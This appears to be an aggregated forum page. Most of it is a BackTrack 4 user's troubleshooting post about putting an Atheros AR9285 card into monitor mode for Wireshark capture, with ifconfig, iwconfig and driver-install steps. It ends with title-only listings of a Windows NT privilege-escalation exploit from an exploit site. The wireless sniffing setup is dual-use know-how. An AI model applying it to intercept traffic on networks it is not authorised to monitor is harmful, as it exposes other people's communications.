  I recently purchased a new laptop with an Atheros AR9285 802.11b/g/n wireless card. I'm having a bit of trouble getting monitor mode / promiscuous mode working in wireshark.
  
  First, I checked that it should be supported. I'm fairly certain monitor mode should work with this card using the ath9k driver.
  
  Here are steps I have taken and results:
  
  /usr/bin/start-network <- start it so I can use wicd
  WICD - can connect to network no problem, using WPA
  
  In wireshark, I can see a couple of things.
  
  1. I can view a ton of management / beacon frames. Not really interested in these.
  2. I can view traffic from local PC when connected to my network
  3. I cannot view other traffic, even though I have promiscous mode checked in Wireshark.
  
  I tried manually setting the card to monitor mode
  
  ifconfig wlan0 down
  iwconfig wlan0 mode monitor
  ifconfig wlan0 up
  iwconfig <- shows it is indeed in monitor mode
  
  With it manually set, Wicd manager does not show anything, so I cannot connect to my own network. In wireshark (prom. mode still set)
  
  1. Can see plenty of beacon frames still.
  2. Cannot view my local PC traffic, obviously, as I am not connected to a network and cannot generate any.
  3. Still cannot view any other traffic from other PCs. (Yes, I have another laptop and am generating traffic, so I know it exists)
  
  Next, I thought it must be a driver issue, although I don't think any of the following changed anything (up until now, using default BackTrack 4 Final drivers - is it using ath9k ? Seems like it was). So, I proceeded to install latest driver...
  
  1. downloaded driver compat-wireless.2.6.tar.bz2
  2. extracted, make, make install
  3. make unload (unload current modules, BT4 shows ath9k unloaded, so I assume it used that by default so reinstalling probably didn't do anything)
  4. modprobe ath9k (start up ath9k module, which should work for AR9285)
  
  After doing that, nothing changed. Same results as before. Does anyone have any ideas for my next step? ath9k says all supported devices (which should include AR9285) should work in monitor mode, but it just isn't working for me. I'm able to put it into monitor mode, and Wireshark doesn't complain (in Windows, Wireshark tells me it failed to put device in promiscuous mode), but I just don't see the results...

  Tags:  mode wireshark monitor tar-bz2 driver-1 modprobe BackTrack General Support  

• February 03, 2010
• 10:26

  DLink dwa 125 in monitor mode

   » ‎ remote-exploit & backtrack
  I wonder if this wireless usb card can be set into monitor mode?
  the model is: d'link dwa 125, it uses a ralink chipset.

  Tags:  mode dwa monitor wireless-usb usb-card Wireless  

• January 20, 2010
• 10:02

  Windows NT User Mode to Ring 0 Escalation Vulnerability

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  Windows NT User Mode to Ring 0 Escalation Vulnerability

  Tags:  mode user windows ring-0 windows-nt-user escalation  

• 10:02

  Windows NT User Mode to Ring 0 Escalation Vulnerability

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  Windows NT User Mode to Ring 0 Escalation Vulnerability

  Tags:  mode user windows ring-0 windows-nt-user escalation